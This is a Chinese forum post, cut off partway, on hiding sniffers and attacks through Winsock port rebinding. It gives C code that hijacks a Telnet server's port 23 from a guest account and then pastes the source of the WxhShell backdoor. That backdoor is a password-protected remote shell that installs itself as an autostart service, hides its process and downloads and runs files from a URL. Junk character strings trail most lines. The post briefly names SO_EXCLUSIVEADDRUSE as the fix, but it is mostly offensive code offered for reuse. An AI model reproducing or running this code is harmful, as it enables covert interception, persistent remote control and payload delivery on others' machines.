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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~zx-'sc?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mAMKCxz,  
sC j3h  
  saddr.sin_family = AF_INET; T&%>/7I>  
-T>`PJpJuL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); K67x.PZ  
Onl:eG;@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); mP-+];gg  
sf LBi~*j  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8c#*T%Vf  
'D bHXS7N  
  这意味着什么?意味着可以进行如下的攻击: V}*b^<2o 5  
K;K tx>Z/  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hd:ZE::Q'#  
8LL);"$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wR KGJ  
AjpQb ~\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1g@kHq  
lUrchLoDt  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rRMC< .=  
 `@p*1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YG%Zw  
0y(d|;':  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 qxq ~9\My  
h*Ej}_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 SWu=n1J.?H  
84k;d;  
  #include Y9C]-zEv  
  #include ~7*HZ:.  
  #include nV<YwqK  
  #include    61]6N;kJ;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QeK~A@|F&  
  int main() jooh`| `P  
  { X,p&S^  
  WORD wVersionRequested; 4):\,>%pK  
  DWORD ret; tY7u\Y;^  
  WSADATA wsaData; 49CMRO,T  
  BOOL val; sx9 N8T3n  
  SOCKADDR_IN saddr; q>Y_I<;'g  
  SOCKADDR_IN scaddr; ?#W>^Za=  
  int err; kn! J`"b  
  SOCKET s; OIN]u{S  
  SOCKET sc; a*=e 3nS  
  int caddsize; ,}NG@JID  
  HANDLE mt; sbRg=k&Ns  
  DWORD tid;   `jJb) z3D  
  wVersionRequested = MAKEWORD( 2, 2 ); EV9m\'=j  
  err = WSAStartup( wVersionRequested, &wsaData ); d{0>R{uac  
  if ( err != 0 ) { C'{Z?M>  
  printf("error!WSAStartup failed!\n"); D%Wr/6X  
  return -1; &Z9b&P  
  } iVFn t!  
  saddr.sin_family = AF_INET; E*kS{2NAq  
   ]xuq2MU,l  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @sVBG']p  
1$c*/Tc:E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4X^0:.bT&  
  saddr.sin_port = htons(23); wc;5tb#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C?z C|0  
  { (bXCc  
  printf("error!socket failed!\n"); A/'G.H  
  return -1; Dhq7qz  
  } 0-=QQOART\  
  val = TRUE; X[VQ 1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 __zsrIUJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )sW1a  
  { <Wl! Qog'  
  printf("error!setsockopt failed!\n"); k(s3~S2h  
  return -1; 7UMsKE-  
  } iJ~p X\FKO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GU=h2LSi]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *FO']D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~Su>^T(?-  
Jg7IGU(dct  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,Qp58u2V  
  { m'%F,c)  
  ret=GetLastError(); ;R/=9l  
  printf("error!bind failed!\n"); nuvz!<5\{  
  return -1; pnf3YuB  
  } }=wSfr9g  
  listen(s,2); #u#s'W  
  while(1) Nz2}Ma 2  
  { ZV&=B%J bs  
  caddsize = sizeof(scaddr); %!WQ;(  
  //接受连接请求 @~zhAU!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '?#e$<uS-  
  if(sc!=INVALID_SOCKET) 2f4*r^  
  { a-hF/~84S:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ym-212wl  
  if(mt==NULL) Hd4&"oeY  
  { ~fr1O`8  
  printf("Thread Creat Failed!\n"); "ibKi=  
  break; R_/T bz  
  } +W-sb5)  
  } 64[j:t=N  
  CloseHandle(mt); 7pkc*@t  
  } lO<Ujb#"R  
  closesocket(s); :I1bGa&I  
  WSACleanup(); S0\:1B  
  return 0; R D)dw  
  }   GK:*|jV  
  DWORD WINAPI ClientThread(LPVOID lpParam) &bTadd%0  
  { yBeSvsm  
  SOCKET ss = (SOCKET)lpParam; V<+d o|@F  
  SOCKET sc; ([s2F%S`@  
  unsigned char buf[4096]; >&p_G0-  
  SOCKADDR_IN saddr; lxV> rmD  
  long num; qxk1Rzm?x  
  DWORD val; 89~)nV)  
  DWORD ret; w!%Bc]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 eml(F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *S*;rLH9c  
  saddr.sin_family = AF_INET; %]d^B |  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  8DyE  
  saddr.sin_port = htons(23); )0!hw|0|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) %$S.4#G2  
  { i |cSO2O+  
  printf("error!socket failed!\n"); ^-rb&kW@:  
  return -1; <.~j:GbsE  
  } %WdAI,  
  val = 100; vfmKYiLp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E+csK*A7  
  { D{\hPv  
  ret = GetLastError(); ASPfzW2  
  return -1; v;irk<5  
  } P 3);R>j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) km.xy_v  
  { !%sj-RMvG  
  ret = GetLastError(); X`[or:cB  
  return -1; 0!\pS{$zB  
  } *S`& X Pj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) cy%^P^M  
  { SkVW8n*s  
  printf("error!socket connect failed!\n"); 8q}`4wCD$  
  closesocket(sc); ,C!MHn^$  
  closesocket(ss); q=Q5s?sQc  
  return -1; m8#+w0p)  
  } nQb{/ TqC'  
  while(1) rC$ckug  
  { `UGHk*DL)  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  pb6z)8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t d-EB&i\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 N'3Vt8o,  
  num = recv(ss,buf,4096,0); @<r  ;>G  
  if(num>0) L:j;;9Sp{  
  send(sc,buf,num,0);  E*i <P  
  else if(num==0) AI/xOd!a  
  break; 9Iy>oV  
  num = recv(sc,buf,4096,0); XF'K dz>p  
  if(num>0) %Gh!h4Pv  
  send(ss,buf,num,0); ut fD$8UI  
  else if(num==0) H~Hh $-z  
  break; ney6N@  
  } ){ArZjG>  
  closesocket(ss); [$ vAjP  
  closesocket(sc); ESL(Mf'  
  return 0 ;  UcKpid  
  } I~gU3(  
="JLUq*]s  
l0l2fwz(  
========================================================== Tz:mj  
*C}vy`X  
下边附上一个代码,,WXhSHELL 1-Sc@WXd  
f@]4udc e  
========================================================== 'OK)[\  
ix [aS  
#include "stdafx.h" %\Z{~(&-v  
now\-XrS  
#include <stdio.h> a}c.]zm]  
#include <string.h> @OV\raUO&V  
#include <windows.h> 9Qst5n\Z  
#include <winsock2.h> %n SLe~b  
#include <winsvc.h> S{XV{o  
#include <urlmon.h> &>XIK8*  
eZ8~t/8  
#pragma comment (lib, "Ws2_32.lib") 37Q9goMov  
#pragma comment (lib, "urlmon.lib") Z4b<$t[u  
#"jEc*&=  
#define MAX_USER   100 // 最大客户端连接数 0V }knR.l  
#define BUF_SOCK   200 // sock buffer 'x$>h)t]  
#define KEY_BUFF   255 // 输入 buffer >T'^&l(:  
VK5|w:  
#define REBOOT     0   // 重启 'P3CgpF<Z2  
#define SHUTDOWN   1   // 关机 TGlIt<&  
* _)xlpy  
#define DEF_PORT   5000 // 监听端口 Tky\W%Ag  
/\q1,}M  
#define REG_LEN     16   // 注册表键长度 |kB1>$  
#define SVC_LEN     80   // NT服务名长度 w z}BH  
xxLD8?@e7  
// 从dll定义API FFQ=<(Ki  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xPl+ rsU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =$`EB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :<=A1>&8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xlg6cO  
k z"F4?,  
// wxhshell配置信息 B{hP#bYK  
struct WSCFG { ?ey!wcv~  
  int ws_port;         // 监听端口 *G"L]Nq#  
  char ws_passstr[REG_LEN]; // 口令 +] s"*'V$  
  int ws_autoins;       // 安装标记, 1=yes 0=no hN=YC\l  
  char ws_regname[REG_LEN]; // 注册表键名 QVA)&k'T,  
  char ws_svcname[REG_LEN]; // 服务名 eo.y,Uh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 38ChS.(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %9cu(yc*}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8q58H[/c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Oc8]A=M12  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r+r-[z D(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kmXpj3  
EZlcpCS  
}; )u)]#z  
jq#uBU %  
// default Wxhshell configuration i"V2=jTeBv  
struct WSCFG wscfg={DEF_PORT, @F%H 1  
    "xuhuanlingzhe", X458%)G!(K  
    1, cOkjeHs 5  
    "Wxhshell", %eW[`uyV  
    "Wxhshell", A2LqBirkl  
            "WxhShell Service", wDJbax?  
    "Wrsky Windows CmdShell Service", TY6 D.ikA  
    "Please Input Your Password: ", MBXja#(k  
  1, g?'pb*PR  
  "http://www.wrsky.com/wxhshell.exe", Vj(}'h-c\  
  "Wxhshell.exe" !*JE%t  
    }; d}#G~O+y3v  
@62QDlt;  
// 消息定义模块 HIM>%   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Wyh   
char *msg_ws_prompt="\n\r? for help\n\r#>"; a7KP_[_(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qw={gZ  
char *msg_ws_ext="\n\rExit."; cyu)YxT  
char *msg_ws_end="\n\rQuit."; Z:7X=t =  
char *msg_ws_boot="\n\rReboot..."; YaI8hj@}  
char *msg_ws_poff="\n\rShutdown..."; Ry2rQM`  
char *msg_ws_down="\n\rSave to "; #!!Ea'3Iq  
jLRUWg  
char *msg_ws_err="\n\rErr!"; WtlPgT;wE  
char *msg_ws_ok="\n\rOK!"; ;[9WB<t  
l8rBp87Q  
char ExeFile[MAX_PATH]; 'Pyeb`AXE9  
int nUser = 0; X-[_g!pV  
HANDLE handles[MAX_USER]; U,q ]  
int OsIsNt; 0kEz i  
I`"B<=zi  
SERVICE_STATUS       serviceStatus; ANgfG8>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  (o`"s~)  
,-,BtfE3  
// 函数声明 :wtr{,9rZ  
int Install(void); N&ZIsaK,j  
int Uninstall(void); iF:`rIC  
int DownloadFile(char *sURL, SOCKET wsh); BCN<l +u  
int Boot(int flag); QJ1_LJ4)a  
void HideProc(void); |_7nvck  
int GetOsVer(void); iX ;E"ov]  
int Wxhshell(SOCKET wsl); Eo)w f=rE9  
void TalkWithClient(void *cs); 2' fg  
int CmdShell(SOCKET sock); rWk4)+Tk  
int StartFromService(void); @w:6m&KL9  
int StartWxhshell(LPSTR lpCmdLine); NgH"jg-  
*p )1c_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); p<%76H A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <~ E'% 60;  
m E<n=g=  
// 数据结构和表定义 m<]b]FQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ^}nz^+R  
{ ra#s!m1  
{wscfg.ws_svcname, NTServiceMain}, P5{|U"Y_  
{NULL, NULL} ~b L^&o(W  
}; Ji %6/zV  
'uAH, .B  
// 自我安装 i&KD)&9b#  
int Install(void) z=q   
{ qgTN %%"~  
  char svExeFile[MAX_PATH]; >9KQWeD  
  HKEY key; &}sC8,Sr  
  strcpy(svExeFile,ExeFile); r2,AZ+4FP  
Sg$14B  
// 如果是win9x系统,修改注册表设为自启动 !B 36+W+  
if(!OsIsNt) { ]u~6fknm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h ]'VAt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CH h]v.V  
  RegCloseKey(key); Ga o(3Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /y2upu*!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sA6Ku(9  
  RegCloseKey(key); \g|u|Y.2[  
  return 0; ;-Bi~XD  
    } 9D 2B8t"a  
  } NUB3L  
} yj]\%3o<Z7  
else { c o}o$}  
4.@gV/U(|  
// 如果是NT以上系统,安装为系统服务 I^'U_"vB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >we/#C"x  
if (schSCManager!=0) [Tv!Pc  
{ 6wV{}K^0  
  SC_HANDLE schService = CreateService 3)SO-Bz\  
  ( JStT"*4j  
  schSCManager, E2f9J{ Ki=  
  wscfg.ws_svcname, ?<@yo&)  
  wscfg.ws_svcdisp, 7=jeq|&kN  
  SERVICE_ALL_ACCESS, +jk_tPSe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q{9#Am^6w  
  SERVICE_AUTO_START, S].=gR0:  
  SERVICE_ERROR_NORMAL, oe1Dm   
  svExeFile, O/;$0`~hY  
  NULL, !M]_CPh]  
  NULL, +bnz%/v  
  NULL, h#p1wK;N  
  NULL, NG!~<Kx   
  NULL <&&xt ?I.  
  ); nr/^HjMV  
  if (schService!=0) m*VM1kV  
  { 1EW-%GQO  
  CloseServiceHandle(schService); 4%5H<:V7  
  CloseServiceHandle(schSCManager); n ETm"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YE#OAfj~  
  strcat(svExeFile,wscfg.ws_svcname); GdN'G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]stAC3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2+G_Y>  
  RegCloseKey(key); XWo=?(iA  
  return 0; <fY<.X  
    } %dXfC!  
  } ~O{sOl _<4  
  CloseServiceHandle(schSCManager); L|DSEth  
} WFBg3#p  
} Q^q G=  
x)@G+I \u  
return 1; mUi|vq)`=D  
} sePOW#|  
0-dhGh?.  
// 自我卸载 m .2)P~a  
int Uninstall(void) z_XI,u}  
{ !/0XoIf"  
  HKEY key; .^s%Nh2jM  
m9^ ? p  
if(!OsIsNt) {  5" U8|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^0t81,`  
  RegDeleteValue(key,wscfg.ws_regname); 7QiJ1P.z  
  RegCloseKey(key); % ~%>3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D_E^%Ea&`  
  RegDeleteValue(key,wscfg.ws_regname); K%h83tm+  
  RegCloseKey(key); Q"]C" ?  
  return 0; lyzMKla"  
  } GiBq1U-Q  
} Z@j$i\,`  
} =dbLA ,z9  
else { 9\W~5J<7  
45` Gv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7`3he8@ze  
if (schSCManager!=0) BaIh,iu  
{ ["N>Po  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); tR#uDE\wR  
  if (schService!=0) o{\@7'G  
  { `nM Huv  
  if(DeleteService(schService)!=0) { bA#E8dlC_  
  CloseServiceHandle(schService); 1{+Ni{  
  CloseServiceHandle(schSCManager); UP:+1Sp9  
  return 0; &libC>a[  
  } 3"'|Ql.H  
  CloseServiceHandle(schService); WU1 I>i  
  } F' ZLN]"{  
  CloseServiceHandle(schSCManager); .ao'o,|vE  
} {p UOu8`Z  
} 1N< )lZl)  
-W>zON|l  
return 1; lkp!S3,  
} Y=/3_[G   
*>.~f<V  
// 从指定url下载文件 #m9V) 1"wB  
int DownloadFile(char *sURL, SOCKET wsh) #'z\[^vp  
{ WPyd ^Y<  
  HRESULT hr; NWB/N*  
char seps[]= "/"; hD58 s"L$  
char *token; ;B`e;B?1Q  
char *file; Ks09F}  
char myURL[MAX_PATH]; z'r.LBnh  
char myFILE[MAX_PATH]; iXC/? EK4  
 U^ BB|  
strcpy(myURL,sURL); xtU)3I=F%  
  token=strtok(myURL,seps); :i*JlKHJ d  
  while(token!=NULL) cd}TDd(H%  
  { V]}/e!XK\  
    file=token; #UU}lG  
  token=strtok(NULL,seps); a(Z" }m  
  } K@*m6)  
'rf='Y  
GetCurrentDirectory(MAX_PATH,myFILE); 3uRnbO-  
strcat(myFILE, "\\"); > ^3xBI:Q  
strcat(myFILE, file); cZL"e  
  send(wsh,myFILE,strlen(myFILE),0); ik~hL/JD\  
send(wsh,"...",3,0); B7t#H?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %{/0K<M  
  if(hr==S_OK) ' 7>}I{Lq  
return 0; l;Zc[6  
else CT4R/wzY7  
return 1; +C\?G/  
KnZm(c9+  
} #eE:hiu<v  
u4o%qK  
// 系统电源模块 #:Cr'U  
int Boot(int flag) 0y'34}  
{ y>8!qVX  
  HANDLE hToken; ycw'>W3.*  
  TOKEN_PRIVILEGES tkp; Q8Usyc'3  
$K<jmEC@<  
  if(OsIsNt) { 7"4|`y^#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); iO#H_&L.p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "_'9KBd!  
    tkp.PrivilegeCount = 1; @oYq.baHX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n2 ,b~S\e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L6$,<}l  
if(flag==REBOOT) { 1Sz5&jz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >!? f6 {\|  
  return 0; xNxIqq<k  
} ~`tc|Zu  
else { @b!fs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WF-imI:EK  
  return 0; RWTv,pLK  
} hPFIf>%}  
  } w/G5I )G  
  else { KU33P>a"[k  
if(flag==REBOOT) { .:RoD?px  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [Z Ea3/  
  return 0; Bb:jy!jq_  
} *N'B(j/  
else { ?\\ ]u  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h"%6tpV-  
  return 0; tGmyTBgx  
} L/nz95  
} ; p\rgam  
L1)?5D  
return 1; >R!^aJ  
} D>*%zz|  
y''?yr  
// win9x进程隐藏模块 !h9 An  
void HideProc(void) 6xz&Qi7w  
{ F w{8MQ2  
nk-6W4  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); eMz,DYa/G  
  if ( hKernel != NULL ) MzK&Jh  
  { Vg[U4,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `q_7rrkO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7Ox vq^[  
    FreeLibrary(hKernel); %t+V8A  
  } wV56LW  
B0Z*YsbXL  
return; L4kYF~G:4  
} W97Ka}Y  
>+oQxml6nI  
// 获取操作系统版本 9@D,ZSi  
int GetOsVer(void) RFA5vCG  
{ k_}ICKzw1  
  OSVERSIONINFO winfo; zO)9(%LS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PVEEKKJP]J  
  GetVersionEx(&winfo); j1d#\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) } A# C  
  return 1; V i#(x9.  
  else ~q|^z[7  
  return 0; v/yk T9@;  
} /.WD '*H  
;oR-\;]/.  
// 客户端句柄模块 5&94VQ$d  
int Wxhshell(SOCKET wsl) QX(:!b  
{ <j,7Z>Rk\x  
  SOCKET wsh; OgfQGGc  
  struct sockaddr_in client; E) z g,7Y  
  DWORD myID; >{GC@Cw  
lBh {8a|2W  
  while(nUser<MAX_USER) eW >k'ez  
{ OZt'ovY  
  int nSize=sizeof(client); 'inWV* P*g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I/^Lr_\  
  if(wsh==INVALID_SOCKET) return 1; ?'_iqg3  
N pRC3^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L7Skn-*tnA  
if(handles[nUser]==0) (x=NA )  
  closesocket(wsh); Mu:*(P/  
else #lVVSrF,-  
  nUser++; OH=Ffy F,  
  } z5Nw+#m| i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D]oS R7h  
mfx 'Yw*{  
  return 0; fYCAwS{  
} O9>/ WmLe  
TUk1h\.q  
// 关闭 socket e@Mm4&f[p  
void CloseIt(SOCKET wsh) !Sw7!h.ut  
{ o^AK@\e:^Z  
closesocket(wsh); \j K?R 6  
nUser--; cCj}{=U  
ExitThread(0); 8H{@0_M  
} *YDx6\><  
}D|"$*  
// 客户端请求句柄 u(REEc~nj  
void TalkWithClient(void *cs) +*|E%pq  
{ ?SQT;C3j(  
cxmr|- ^  
  SOCKET wsh=(SOCKET)cs; 4`*jF'N[  
  char pwd[SVC_LEN]; bTn-Pg){  
  char cmd[KEY_BUFF]; bo@1c0  
char chr[1]; (nV/-#*  
int i,j; '{Ywb@Bc  
ex29rL3  
  while (nUser < MAX_USER) { 0Z@u6{Z9R  
M=!x0V;  
if(wscfg.ws_passstr) { (oTx*GP>Y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]AfeaU'>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Y!lEzB5  
  //ZeroMemory(pwd,KEY_BUFF); Y*7.3 +#  
      i=0; Kk/qd)nk  
  while(i<SVC_LEN) { fCF93,?$  
#FeM.k6  
  // 设置超时 mirMDJsl%  
  fd_set FdRead; Z~P5SEg  
  struct timeval TimeOut; 2#py>rF(  
  FD_ZERO(&FdRead); vwT?Bp  
  FD_SET(wsh,&FdRead); rN>f"/J |  
  TimeOut.tv_sec=8; L;v#9^Fq  
  TimeOut.tv_usec=0; n7Re@'N<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &Wn!W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @h$7C<  
US Q{o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k-w._E <  
  pwd=chr[0]; fM8 :Nt$  
  if(chr[0]==0xd || chr[0]==0xa) { q|Ga   
  pwd=0; >B3_P4pW9  
  break; xEZvCwsb  
  } Wk$%0xZ7  
  i++; XfY]qQP  
    } E7 7Au;TL  
G2em>W_n  
  // 如果是非法用户,关闭 socket "\e9Y<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XLOk+Fn  
} T T29 LC@  
%3~jg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N b+zP[C  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1s1$J2LX  
rVZk G,Q  
while(1) { ZgzrA&6  
*!B,|]wq=  
  ZeroMemory(cmd,KEY_BUFF); ^IC|3sr   
GV%ibqOpQj  
      // 自动支持客户端 telnet标准   <.:B .k  
  j=0;  /pV^w  
  while(j<KEY_BUFF) { g9 g &]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j1>1vD-`T  
  cmd[j]=chr[0]; Wny{qj)=  
  if(chr[0]==0xa || chr[0]==0xd) { ?HU(0Vgn'  
  cmd[j]=0; ?n[+0a:8E  
  break; UXe@c@3  
  } %/~Sq?f-9@  
  j++; &Tl3\T0D  
    } ;B!&( 50e  
[{'` |  
  // 下载文件  X&(1DE  
  if(strstr(cmd,"http://")) { ]BX|G`CCc  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); hfVJg7-  
  if(DownloadFile(cmd,wsh)) HjL+Wg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9'T nR[>  
  else -R| v&h%T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !.kj-==s{7  
  } _PQQ&e)E  
  else { F DXAe-|Q  
{QJJw}!#  
    switch(cmd[0]) { td{$ c6  
  [&"`2n  
  // 帮助 SmC91XO  
  case '?': { kOeW,:&65  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EtKy?]i  
    break; M/>^_zG  
  } KN_3]-+B  
  // 安装 U H `=  
  case 'i': { a$"3T  
    if(Install())  w8$8P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qK,rT*5=  
    else Me2%X>;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?>DN7je  
    break; ,n^{!^JW  
    } "}(*Km5Po  
  // 卸载 eY;XF.mF  
  case 'r': { :[,-wZiT~6  
    if(Uninstall()) D8G5,s-.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;MR8E9  
    else =J<3B H^m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c7,p5[  
    break; Qne@Vf kA  
    } bRfac/:}  
  // 显示 wxhshell 所在路径 o4\\q66K  
  case 'p': { yIA- +# r[  
    char svExeFile[MAX_PATH]; 6||zfH  
    strcpy(svExeFile,"\n\r"); k_/*> lIZY  
      strcat(svExeFile,ExeFile); 'de&9\  
        send(wsh,svExeFile,strlen(svExeFile),0); ?sk{(UN]  
    break; Y2W|b5  
    } }k~ih?E^s  
  // 重启 ;M1#M:  
  case 'b': { +9<"Y6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $mgW|TBXCQ  
    if(Boot(REBOOT)) ~5q1zr)E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^n),mR  
    else { T1_O~<  
    closesocket(wsh); 4hz T4!15  
    ExitThread(0); P XKEqcQR  
    } l1l=52r   
    break; `-/-(v+ i  
    } of659~EIW  
  // 关机 m %]1~b}"  
  case 'd': { o#fr5>h-w  
